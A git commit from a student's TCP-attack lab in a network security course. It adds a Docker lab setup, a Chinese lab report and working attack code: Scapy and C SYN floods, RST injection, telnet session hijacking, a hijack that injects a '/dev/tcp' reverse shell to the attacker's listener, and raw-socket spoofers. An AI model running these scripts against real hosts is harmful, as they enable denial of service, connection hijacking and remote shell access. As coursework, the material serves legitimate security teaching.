tcp lab almost finished and mitnick lab initialized

This commit is contained in:
2026-05-04 01:06:06 +08:00
parent cbcdae4b75
commit 31394e883b
26 changed files with 980 additions and 0 deletions

View File

@@ -0,0 +1,71 @@
version: "3"
services:
attacker:
image: handsonsecurity/seed-ubuntu:large
container_name: seed-attacker
tty: true
cap_add:
- ALL
privileged: true
volumes:
- ./volumes:/volumes
network_mode: host
Victim:
image: handsonsecurity/seed-ubuntu:large
container_name: victim-10.9.0.5
tty: true
cap_add:
- ALL
privileged: true
sysctls:
- net.ipv4.tcp_syncookies=0
networks:
net-10.9.0.0:
ipv4_address: 10.9.0.5
command: bash -c "
/etc/init.d/openbsd-inetd start &&
tail -f /dev/null
"
User1:
image: handsonsecurity/seed-ubuntu:large
container_name: user1-10.9.0.6
tty: true
cap_add:
- ALL
networks:
net-10.9.0.0:
ipv4_address: 10.9.0.6
command: bash -c "
/etc/init.d/openbsd-inetd start &&
tail -f /dev/null
"
User2:
image: handsonsecurity/seed-ubuntu:large
container_name: user2-10.9.0.7
tty: true
cap_add:
- ALL
networks:
net-10.9.0.0:
ipv4_address: 10.9.0.7
command: bash -c "
/etc/init.d/openbsd-inetd start &&
tail -f /dev/null
"
networks:
net-10.9.0.0:
name: net-10.9.0.0
ipam:
config:
- subnet: 10.9.0.0/24

View File

@@ -0,0 +1,23 @@
#!/usr/bin/env python3
from scapy.all import *
def hijack(pkt):
if pkt[TCP].payload:
data = bytes(pkt[TCP].payload)
print("Packet from {} to {} with payload: {}".format(pkt[IP].src, pkt[IP].dst, data))
# Look for 'id' which I sent in the telnet session
if b'id' in data:
print("Target command detected. Injecting...")
ip = IP(src=pkt[IP].src, dst=pkt[IP].dst)
tcp = TCP(sport=pkt[TCP].sport, dport=pkt[TCP].dport, flags="A",
seq=pkt[TCP].seq + len(pkt[TCP].payload), ack=pkt[TCP].ack)
payload = "\r touch /tmp/hijack_successful \r"
res = ip/tcp/payload
send(res, verbose=0)
print("Sent hijacked packet.")
exit(0)
print("Sniffing...")
sniff(iface="br-603d3788c443", filter="tcp and src host 10.9.0.6 and dst host 10.9.0.5", prn=hijack)

View File

@@ -0,0 +1,14 @@
#!/usr/bin/env python3
from scapy.all import *
def spoof_reset(pkt):
print("Detected TCP packet from {} to {}".format(pkt[IP].src, pkt[IP].dst))
ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
tcp = TCP(sport=pkt[TCP].dport, dport=pkt[TCP].sport, flags="R", seq=pkt[TCP].ack)
res = ip/tcp
send(res, verbose=0)
print("Sent spoofed RST packet to terminate connection.")
exit(0)
print("Sniffing for telnet traffic on br-603d3788c443...")
sniff(iface="br-603d3788c443", filter="tcp and src host 10.9.0.6 and dst host 10.9.0.5", prn=spoof_reset)

View File

@@ -0,0 +1,3 @@
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 54776
seed@4163e58af35c:~$

View File

@@ -0,0 +1,21 @@
#!/usr/bin/env python3
from scapy.all import *
def hijack(pkt):
if pkt[TCP].payload:
data = bytes(pkt[TCP].payload)
if b'id' in data:
print("Target command detected. Injecting reverse shell...")
ip = IP(src=pkt[IP].src, dst=pkt[IP].dst)
tcp = TCP(sport=pkt[TCP].sport, dport=pkt[TCP].dport, flags="A",
seq=pkt[TCP].seq + len(pkt[TCP].payload), ack=pkt[TCP].ack)
# Use 10.9.0.1 for the attacker listener
payload = "\r /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 \r"
res = ip/tcp/payload
send(res, verbose=0)
print("Sent hijacked packet with reverse shell.")
exit(0)
print("Sniffing...")
sniff(iface="br-603d3788c443", filter="tcp and src host 10.9.0.6 and dst host 10.9.0.5", prn=hijack)

Binary file not shown.

View File

@@ -0,0 +1,107 @@
#include <pcap.h>
#include <stdio.h>
#include <string.h>
#include <arpa/inet.h>
#include <unistd.h>
struct ipheader {
unsigned char iph_ihl:4, iph_ver:4;
unsigned char iph_tos;
unsigned short int iph_len;
unsigned short int iph_ident;
unsigned short int iph_flag:3, iph_offset:13;
unsigned char iph_ttl;
unsigned char iph_protocol;
unsigned short int iph_chksum;
struct in_addr iph_sourceip;
struct in_addr iph_destip;
};
struct icmpheader {
unsigned char icmp_type;
unsigned char icmp_code;
unsigned short int icmp_chksum;
unsigned short int icmp_id;
unsigned short int icmp_seq;
};
unsigned short in_cksum (unsigned short *buf, int length)
{
unsigned short *w = buf;
int nleft = length;
int sum = 0;
unsigned short temp=0;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *)(&temp) = *(u_char *)w ;
sum += temp;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}
void send_raw_ip_packet(struct ipheader* ip)
{
struct sockaddr_in dest_info;
int enable = 1;
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable));
dest_info.sin_family = AF_INET;
dest_info.sin_addr = ip->iph_destip;
sendto(sock, ip, ntohs(ip->iph_len), 0, (struct sockaddr *)&dest_info, sizeof(dest_info));
close(sock);
}
void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet)
{
struct ipheader *ip = (struct ipheader *)(packet + 14);
struct icmpheader *icmp = (struct icmpheader *)(packet + 14 + (ip->iph_ihl * 4));
if (icmp->icmp_type == 8) { // Echo Request
printf("Detected Echo Request from %s to %s\n", inet_ntoa(ip->iph_sourceip), inet_ntoa(ip->iph_destip));
char buffer[1500];
int ip_len = ntohs(ip->iph_len);
memcpy(buffer, ip, ip_len);
struct ipheader *new_ip = (struct ipheader *) buffer;
struct icmpheader *new_icmp = (struct icmpheader *) (buffer + (new_ip->iph_ihl * 4));
new_ip->iph_sourceip = ip->iph_destip;
new_ip->iph_destip = ip->iph_sourceip;
new_ip->iph_ttl = 64;
new_icmp->icmp_type = 0; // Echo Reply
new_icmp->icmp_chksum = 0;
new_icmp->icmp_chksum = in_cksum((unsigned short *)new_icmp, ip_len - (new_ip->iph_ihl * 4));
send_raw_ip_packet(new_ip);
printf("Sent spoofed Echo Reply back to %s\n", inet_ntoa(new_ip->iph_destip));
}
}
int main()
{
pcap_t *handle;
char errbuf[PCAP_ERRBUF_SIZE];
struct bpf_program fp;
char filter_exp[] = "icmp";
bpf_u_int32 net;
handle = pcap_open_live("br-603d3788c443", BUFSIZ, 1, 1000, errbuf);
pcap_compile(handle, &fp, filter_exp, 0, net);
pcap_setfilter(handle, &fp);
pcap_loop(handle, -1, got_packet, NULL);
pcap_close(handle);
return 0;
}

View File

BIN
Tcp/Labsetup/volumes/sniffer Executable file

Binary file not shown.

View File

@@ -0,0 +1,52 @@
#include <pcap.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
struct ipheader {
unsigned char iph_ihl:4, iph_ver:4;
unsigned char iph_tos;
unsigned short int iph_len;
unsigned short int iph_ident;
unsigned short int iph_flag:3, iph_offset:13;
unsigned char iph_ttl;
unsigned char iph_protocol;
unsigned short int iph_chksum;
struct in_addr iph_sourceip;
struct in_addr iph_destip;
};
void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet)
{
struct ipheader *ip = (struct ipheader *)(packet + 14); // Skip ethernet header
printf("Got a packet\n");
printf(" From: %s\n", inet_ntoa(ip->iph_sourceip));
printf(" To: %s\n", inet_ntoa(ip->iph_destip));
fflush(stdout);
}
int main()
{
pcap_t *handle;
char errbuf[PCAP_ERRBUF_SIZE];
struct bpf_program fp;
char filter_exp[] = "icmp";
bpf_u_int32 net;
// Change interface name to the correct one
handle = pcap_open_live("br-603d3788c443", BUFSIZ, 1, 1000, errbuf);
if (handle == NULL) {
fprintf(stderr, "Couldn't open device: %s\n", errbuf);
return 2;
}
pcap_compile(handle, &fp, filter_exp, 0, net);
if (pcap_setfilter(handle, &fp) != 0) {
pcap_perror(handle, "Error:");
exit(EXIT_FAILURE);
}
pcap_loop(handle, -1, got_packet, NULL);
pcap_close(handle);
return 0;
}

View File

@@ -0,0 +1,6 @@
Got a packet
From: 1.2.3.4
To: 10.9.0.5
Got a packet
From: 10.9.0.5
To: 1.2.3.4

BIN
Tcp/Labsetup/volumes/spoofer Executable file

Binary file not shown.

View File

@@ -0,0 +1,88 @@
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>
struct ipheader {
unsigned char iph_ihl:4, iph_ver:4;
unsigned char iph_tos;
unsigned short int iph_len;
unsigned short int iph_ident;
unsigned short int iph_flag:3, iph_offset:13;
unsigned char iph_ttl;
unsigned char iph_protocol;
unsigned short int iph_chksum;
struct in_addr iph_sourceip;
struct in_addr iph_destip;
};
struct icmpheader {
unsigned char icmp_type;
unsigned char icmp_code;
unsigned short int icmp_chksum;
unsigned short int icmp_id;
unsigned short int icmp_seq;
};
unsigned short in_cksum (unsigned short *buf, int length)
{
unsigned short *w = buf;
int nleft = length;
int sum = 0;
unsigned short temp=0;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *)(&temp) = *(u_char *)w ;
sum += temp;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}
void send_raw_ip_packet(struct ipheader* ip)
{
struct sockaddr_in dest_info;
int enable = 1;
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable));
dest_info.sin_family = AF_INET;
dest_info.sin_addr = ip->iph_destip;
sendto(sock, ip, ntohs(ip->iph_len), 0, (struct sockaddr *)&dest_info, sizeof(dest_info));
close(sock);
}
int main() {
char buffer[1500];
memset(buffer, 0, 1500);
struct icmpheader *icmp = (struct icmpheader *)(buffer + sizeof(struct ipheader));
icmp->icmp_type = 8; // ICMP Echo Request
icmp->icmp_chksum = 0;
icmp->icmp_chksum = in_cksum((unsigned short *)icmp, sizeof(struct icmpheader));
struct ipheader *ip = (struct ipheader *) buffer;
ip->iph_ver = 4;
ip->iph_ihl = 5;
ip->iph_ttl = 20;
ip->iph_sourceip.s_addr = inet_addr("1.2.3.4");
ip->iph_destip.s_addr = inet_addr("10.9.0.5");
ip->iph_protocol = IPPROTO_ICMP;
ip->iph_len = htons(sizeof(struct ipheader) + sizeof(struct icmpheader));
send_raw_ip_packet(ip);
printf("Spoofed ICMP packet sent from 1.2.3.4 to 10.9.0.5\n");
return 0;
}

BIN
Tcp/Labsetup/volumes/synflood Executable file

Binary file not shown.

View File

@@ -0,0 +1,213 @@
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <time.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
/* IP Header */
struct ipheader {
unsigned char iph_ihl:4, //IP header length
iph_ver:4; //IP version
unsigned char iph_tos; //Type of service
unsigned short int iph_len; //IP Packet length (data + header)
unsigned short int iph_ident; //Identification
unsigned short int iph_flag:3, //Fragmentation flags
iph_offset:13; //Flags offset
unsigned char iph_ttl; //Time to Live
unsigned char iph_protocol; //Protocol type
unsigned short int iph_chksum; //IP datagram checksum
struct in_addr iph_sourceip; //Source IP address
struct in_addr iph_destip; //Destination IP address
};
/* TCP Header */
struct tcpheader {
u_short tcp_sport; /* source port */
u_short tcp_dport; /* destination port */
u_int tcp_seq; /* sequence number */
u_int tcp_ack; /* acknowledgement number */
u_char tcp_offx2; /* data offset, rsvd */
#define TH_OFF(th) (((th)->tcp_offx2 & 0xf0) >> 4)
u_char tcp_flags;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
#define TH_ECE 0x40
#define TH_CWR 0x80
#define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
u_short tcp_win; /* window */
u_short tcp_sum; /* checksum */
u_short tcp_urp; /* urgent pointer */
};
/* Psuedo TCP header */
struct pseudo_tcp
{
unsigned saddr, daddr;
unsigned char mbz;
unsigned char ptcl;
unsigned short tcpl;
struct tcpheader tcp;
char payload[1500];
};
//#define DEST_IP "10.9.0.5"
//#define DEST_PORT 23 // Attack the web server
#define PACKET_LEN 1500
unsigned short calculate_tcp_checksum(struct ipheader *ip);
/*************************************************************
Given an IP packet, send it out using a raw socket.
**************************************************************/
void send_raw_ip_packet(struct ipheader* ip)
{
struct sockaddr_in dest_info;
int enable = 1;
// Step 1: Create a raw network socket.
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (sock < 0) {
fprintf(stderr, "socket() failed: %s\n", strerror(errno));
exit(1);
}
// Step 2: Set socket option.
setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
&enable, sizeof(enable));
// Step 3: Provide needed information about destination.
dest_info.sin_family = AF_INET;
dest_info.sin_addr = ip->iph_destip;
// Step 4: Send the packet out.
sendto(sock, ip, ntohs(ip->iph_len), 0,
(struct sockaddr *)&dest_info, sizeof(dest_info));
close(sock);
}
/******************************************************************
Spoof a TCP SYN packet.
*******************************************************************/
int main(int argc, char *argv[]) {
char buffer[PACKET_LEN];
struct ipheader *ip = (struct ipheader *) buffer;
struct tcpheader *tcp = (struct tcpheader *) (buffer +
sizeof(struct ipheader));
if (argc < 3) {
printf("Please provide IP and Port number\n");
printf("Usage: synflood ip port\n");
exit(1);
}
char *DEST_IP = argv[1];
int DEST_PORT = atoi(argv[2]);
srand(time(0)); // Initialize the seed for random # generation.
while (1) {
memset(buffer, 0, PACKET_LEN);
/*********************************************************
Step 1: Fill in the TCP header.
********************************************************/
tcp->tcp_sport = rand(); // Use random source port
tcp->tcp_dport = htons(DEST_PORT);
tcp->tcp_seq = rand(); // Use random sequence #
tcp->tcp_offx2 = 0x50;
tcp->tcp_flags = TH_SYN; // Enable the SYN bit
tcp->tcp_win = htons(20000);
tcp->tcp_sum = 0;
/*********************************************************
Step 2: Fill in the IP header.
********************************************************/
ip->iph_ver = 4; // Version (IPV4)
ip->iph_ihl = 5; // Header length
ip->iph_ttl = 50; // Time to live
ip->iph_sourceip.s_addr = rand(); // Use a random IP address
ip->iph_destip.s_addr = inet_addr(DEST_IP);
ip->iph_protocol = IPPROTO_TCP; // The value is 6.
ip->iph_len = htons(sizeof(struct ipheader) +
sizeof(struct tcpheader));
// Calculate tcp checksum
tcp->tcp_sum = calculate_tcp_checksum(ip);
/*********************************************************
Step 3: Finally, send the spoofed packet
********************************************************/
send_raw_ip_packet(ip);
}
return 0;
}
unsigned short in_cksum (unsigned short *buf, int length)
{
unsigned short *w = buf;
int nleft = length;
int sum = 0;
unsigned short temp=0;
/*
* The algorithm uses a 32 bit accumulator (sum), adds
* sequential 16 bit words to it, and at the end, folds back all
* the carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* treat the odd byte at the end, if any */
if (nleft == 1) {
*(u_char *)(&temp) = *(u_char *)w ;
sum += temp;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); // add hi 16 to low 16
sum += (sum >> 16); // add carry
return (unsigned short)(~sum);
}
/****************************************************************
TCP checksum is calculated on the pseudo header, which includes
the TCP header and data, plus some part of the IP header.
Therefore, we need to construct the pseudo header first.
*****************************************************************/
unsigned short calculate_tcp_checksum(struct ipheader *ip)
{
struct tcpheader *tcp = (struct tcpheader *)((u_char *)ip +
sizeof(struct ipheader));
int tcp_len = ntohs(ip->iph_len) - sizeof(struct ipheader);
/* pseudo tcp header for the checksum computation */
struct pseudo_tcp p_tcp;
memset(&p_tcp, 0x0, sizeof(struct pseudo_tcp));
p_tcp.saddr = ip->iph_sourceip.s_addr;
p_tcp.daddr = ip->iph_destip.s_addr;
p_tcp.mbz = 0;
p_tcp.ptcl = IPPROTO_TCP;
p_tcp.tcpl = htons(tcp_len);
memcpy(&p_tcp.tcp, tcp, tcp_len);
return (unsigned short) in_cksum((unsigned short *)&p_tcp,
tcp_len + 12);
}

View File

@@ -0,0 +1,14 @@
#!/bin/env python3
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits
ip = IP(dst="10.9.0.5")
tcp = TCP(dport=23, flags='S')
pkt = ip/tcp
while True:
pkt[IP].src = str(IPv4Address(getrandbits(32))) # 源 IP
pkt[TCP].sport = getrandbits(16) # 源端口号
pkt[TCP].seq = getrandbits(32) # 序列号
send(pkt, verbose = 0)

BIN
Tcp/Labsetup/volumes/synflood_c Executable file

Binary file not shown.

BIN
Tcp/TCP_Attacks_cn.pdf Normal file

Binary file not shown.

BIN
Tcp/dockerps.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 107 KiB

153
Tcp/labtemplate.typ Normal file
View File

@@ -0,0 +1,153 @@
#let times = "Times LT Pro"
#let times = "Times New Roman"
#let song = (times, "Noto Serif CJK SC")
#let hei = (times, "Noto Sans CJK SC")
#let kai = (times, "Noto Serif CJK SC")
#let xbsong = (times, "Noto Serif CJK SC")
#let fsong = (times, "Noto Serif CJK SC")
#let code = (times, "JetBrains Mono")
#let nudtlabpaper(title: "",
author: "",
id: "",
training_type:"",
grade: "",
major: "",
department: "",
advisor: "",
jobtitle: "",
lab: "",
date: "",
header_str: "",
body) = {
// Set the document's basic properties.
set document(author: author, title: title)
set page(
margin: (left: 30mm, right: 30mm, top: 30mm, bottom: 30mm),
)
// Title row.
v(158pt)
align(center)[
#block(text(weight: 700, size: 30pt, font: hei, tracking: 15pt, "网络安全"))
]
align(center)[
#block(text(weight: 700, size: 30pt, font: song, tracking: 15pt, "本科实验报告"))
]
v(103pt)
pad(
left: 1em,
right: 1em,
grid(
columns: (80pt, 1fr),
rows: (17pt, auto),
text(weight: 700, size: 16pt, font: song, "实验名称:"),
align(center, text(weight: "regular", size: 16pt, font: song, title)),
text(""),
line(length: 100%)
)
// #block(text(weight: 700, 1.75em, title))
// underline(text(weight: 700, size: 16pt, font: song, title))
)
// Author information.
v(82.5pt)
grid(
columns: (0.25fr, 0.25fr, 0.25fr, 0.25fr),
rows: (15pt, 8pt, 15pt, 8pt, 15pt, 8pt, 15pt, 8pt, 15pt),
text(size: 14pt, font: song, tracking: 10pt, "学员姓名"),
align(center, text(size: 14pt, font: song, author)),
text(size: 14pt, font: song, tracking: 54pt, "学号"),
align(center, text(size: 14pt, font: times, id)),
text(""),
line(length: 100%),
text(""),
line(length: 100%),
text(size: 14pt, font: song, tracking: 9pt, "培养类型"),
align(center, text(size: 14pt, font: song, training_type)),
text(size: 14pt, font: song, tracking: 54pt, "年级"),
align(center, text(size: 14pt, font: times, grade)),
text(""),
line(length: 100%),
text(""),
line(length: 100%),
text(size: 14pt, font: song, tracking: 54pt, "专业"),
align(center, text(size: 14pt, font: song, major)),
text(size: 14pt, font: song, tracking: 9pt, "所属学院"),
align(center, text(size: 14pt, font: song, department)),
text(""),
line(length: 100%),
text(""),
line(length: 100%),
text(size: 14pt, font: song, tracking: 9pt, "指导教员"),
align(center, text(size: 14pt, font: song, advisor)),
text(size: 14pt, font: song, tracking: 54pt, "职称"),
align(center, text(size: 14pt, font: song, jobtitle)),
text(""),
line(length: 100%),
text(""),
line(length: 100%),
text(size: 14pt, font: song, tracking: 20pt, "实验室"),
align(center, text(size: 14pt, font: song, lab)),
text(size: 14pt, font: song, tracking: 9pt, "实验时间"),
align(center, text(size: 14pt, font: song, date)),
text(""),
line(length: 100%),
text(""),
line(length: 100%),
)
v(50.5pt)
align(center, text(font: hei, size: 15pt, "国防科技大学教育训练部制"))
pagebreak()
set page(
margin: (left: 30mm, right: 30mm, top: 30mm, bottom: 30mm),
numbering: "i",
number-align: center,
)
v(14pt)
align(center)[
#block(text(font: hei, size: 14pt, "《本科实验报告》填写说明"))
]
v(14pt)
text("")
par(first-line-indent: 2em, text(font: song, size: 12pt, "实验报告内容编排应符合以下要求:"))
par(first-line-indent: 2em, text(font: fsong, size: 12pt, "1采用A421cm×29.7cm白色复印纸单面黑字。上下左右各侧的页边距均为3cm缺省文档网格字号为小4号中文为宋体英文和阿拉伯数字为Times New Roman每页30行每行36字页脚距边界为2.5cm页码置于页脚、居中采用小5号阿拉伯数字从1开始连续编排封面不编页码。"))
par(first-line-indent: 2em, text(font: fsong, size: 12pt, "2报告正文最多可设四级标题字体均为黑体第一级标题字号为4号其余各级标题为小4号标题序号第一级用“一、”、“二、”……第二级用“”、“” ……第三级用“1.”、“2.” ……第四级用“1”、“2” ……,分别按序连续编排。"))
par(first-line-indent: 2em, text(font: fsong, size: 12pt, "3正文插图、表格中的文字字号均为5号。"))
pagebreak()
set page(
margin: (left: 30mm, right: 30mm, top: 30mm, bottom: 30mm),
numbering: "1",
number-align: center,
)
set heading(numbering: "1.1")
// set text(font: hei, lang: "zh")
show heading: it => box(width: 100%)[
#v(0.50em)
#set text(font: hei)
#counter(heading).display()
// #h(0.5em)
#it.body
]
// Main body.
set par(justify: true)
body
}
#let para(t) = par(first-line-indent: 2em, text(font: song, size: 10.5pt, t))

157
Tcp/main.typ Normal file
View File

@@ -0,0 +1,157 @@
#import "labtemplate.typ": *
#show: nudtlabpaper.with(title: "TCP 攻击实验",
author: "程景愉",
id: "202302723005",
training_type: "无军籍",
grade: "2023",
major: "网络工程",
department: "计算机学院",
advisor: "柳林",
jobtitle: "教授",
lab: "307-208",
date: "2026.05.04",
header_str: "《网络安全》实验报告",
)
#set page(header: [
#set par(spacing: 6pt)
#align(center)[#text(size: 11pt)[《网络安全》实验报告]]
#v(-0.3em)
#line(length: 100%, stroke: (thickness: 1pt))
],)
#show heading: it => box(width: 100%)[
#v(0.50em)
#set text(font: hei)
#counter(heading).display()
#it.body
]
// 代码块样式
#show raw.where(block: true): it => box(
fill: rgb("#f5f5f5"),
inset: (x: 12pt, y: 10pt),
radius: 6pt,
stroke: (thickness: 1pt, paint: rgb("#e0e0e0")),
it
)
#outline(title: "目录",depth: 3, indent: 2em)
#pagebreak()
= 实验目的
#para[
TCP 协议是互联网的核心协议之一,其三次握手和连接管理机制虽然保证了传输的可靠性,但也引入了一些潜在的安全漏洞。本次实验旨在通过亲身实践,深入理解 TCP 协议的常见攻击方式及其背后的技术原理。具体目标包括:
]
- 理解 TCP SYN 泛洪SYN Flood攻击的原理掌握使用 Scapy C 语言实现该攻击的方法,并验证 SYN Cookies 防御机制的有效性。
- 掌握 TCP 重置Reset攻击的技术细节学习如何通过伪造 RST 包来强制中断已建立的 TCP 连接。
- 实践 TCP 会话劫持Session Hijacking技术理解如何通过监听和预测序列号在现有会话中注入恶意指令。
- 掌握利用会话劫持创建反向 ShellReverse Shell的方法理解该技术在实际渗透测试中的重要作用。
- 学习使用 libpcap 库和原始套接字Raw Socket C 语言中实现底层的数据包嗅探与伪造。
= 实验原理
== TCP 三次握手与 SYN 泛洪
#para[
TCP 建立连接需要三次握手:客户端发送 SYN服务器回复 SYN+ACK 并分配资源进入半连接SYN-RECV状态最后客户端回复 ACK。SYN 泛洪攻击通过发送大量的 SYN 请求但不完成最后一步使服务器的半连接队列Backlog Queue被占满从而拒绝合法用户的连接请求。
]
== TCP 重置与会话劫持
#para[
TCP 协议允许通过发送 RST 标志位的数据包来立即终止异常连接。如果攻击者能够获取或预测当前连接的端口号和序列号,就可以伪造一个 RST 包发送给其中一方,导致连接被强制断开。
]
#para[
会话劫持则更进一步,攻击者不仅要断开连接,而是要在序列号步调一致的情况下注入自己的数据。通过伪造源地址和正确的序列号,接收方会认为这些数据来自合法的对端,从而执行注入的指令。
]
== 反向 Shell
#para[
反向 Shell 是指被攻击者主动连接攻击者的监听端口,并将自己的 Shell `/bin/bash`)的输入输出重定向到该连接上。这种方式常用于突破防火墙的入站限制。
= 实验环境
#align(center)[#table(
columns: (auto, auto, auto),
rows:(2em, 2em, 2em),
inset: 10pt,
align: horizon+center,
table.header([*主机角色*], [*IP地址*], [*说明*]),
"Attacker攻击者", "10.9.0.1 (host)", "运行攻击脚本,具有混杂模式权限",
"Victim (受害者)", "10.9.0.5", "运行 telnet 服务的目标服务器",
"User1 (合法用户)", "10.9.0.6", "实验中用于建立正常连接的主机",
)]
= 实验步骤及结果
== 任务集 1SYN 泛洪攻击
=== 任务 1.1:使用 Python 发起攻击
#para[
使用 Scapy 编写 `synflood.py`,循环发送随机源 IP、随机源端口的 SYN 包到受害者 10.9.0.5 23 端口。
]
#figure(
caption: [请在此插入截图:展示运行 synflood.py 期间Victim 上的 netstat -tna 输出,可见大量 SYN_RECV 状态],
)
=== 任务 1.2:使用 C 语言发起攻击
#para[
C 语言实现相比 Python 具有更高的发包效率。通过静态编译并在攻击者容器中运行,可以观察到半连接队列被迅速填满。
]
#figure(
caption: [请在此插入截图:展示 C 语言攻击下Victim 的半连接队列几乎瞬间达到上限],
)
=== 任务 1.3:启用 SYN Cookie 防御
#para[
通过 `sysctl -w net.ipv4.tcp_syncookies=1` 启用防御机制后,即使在攻击持续期间,合法用户仍能通过 telnet 成功登录。
]
== 任务 2TCP 重置攻击
#para[
编写 `reset_attack.py` 监听 User1 到 Victim 的流量,捕获到包后立即提取序列号并构造 RST 包发回 Victim。
]
#figure(
caption: [请在此插入截图User1 的 telnet 窗口显示 "Connection closed by foreign host"],
)
== 任务 3TCP 会话劫持
#para[
在会话劫持中,我们注入了 `touch /tmp/hijack_successful` 指令。
]
#figure(
caption: [请在此插入截图:在 Victim 容器中查看 /tmp/hijack_successful 文件已成功创建],
)
== 任务 4创建反向 Shell
#para[
通过劫持 telnet 会话注入反向 Shell 指令,使 Victim 连接到攻击者的 nc 监听端口。
]
#figure(
caption: [请在此插入截图:攻击者的 nc 窗口成功获得 Victim 的交互式 Shell 提示符],
)
== 任务集 2基于 C 的嗅探与伪造
#para[
本部分使用 libpcap 实现嗅探器,并使用 Raw Socket 实现伪造器。
]
=== 任务 2.1A:理解嗅探器工作原理
#para[
*问题 1必不可少的库调用序列*
1. `pcap_open_live()`: 打开指定的网络接口进行捕获。
2. `pcap_compile()`: 将字符串形式的过滤表达式编译为 BPF 程序。
3. `pcap_setfilter()`: 将编译好的过滤器安装到捕获句柄。
4. `pcap_loop()`: 进入捕获循环,对每个包调用回调函数。
*问题 2为何需要 Root 权限?*
嗅探程序需要创建原始套接字并开启网卡的混杂模式这些操作涉及到对硬件和底层网络栈的直接控制为了安全起见操作系统仅允许特权用户Root执行。如果非特权用户运行`pcap_open_live()` 将返回权限错误。
*问题 3混杂模式Promiscuous Mode*
在实验中,将 `pcap_open_live()` 的第三个参数设为 1 开启混杂模式0 则关闭。开启后,攻击者可以捕获到局域网内任意两台主机(如 User1 Victim之间的通信关闭后仅能捕获到发往本机或广播地址的流量。
=== 任务 2.2:基于 Raw Socket 的伪造
#figure(
caption: [请在此插入截图C 语言嗅探器成功捕获到由 spoofer.c 发出的伪造 ICMP ],
)
= 实验总结
#para[
本次实验全面覆盖了 TCP 协议层的经典攻击。通过 SYN 泛洪,我深刻理解了 TCP 资源管理中的脆弱性;通过重置攻击和会话劫持,我认识到 TCP 序列号在安全验证中的局限性。C 语言底层编程的实践则让我对网络协议栈的二进制结构有了更直观的把握。
]

1
Tcp/reverse_shell.log Normal file
View File

@@ -0,0 +1 @@
Listening on 0.0.0.0 9090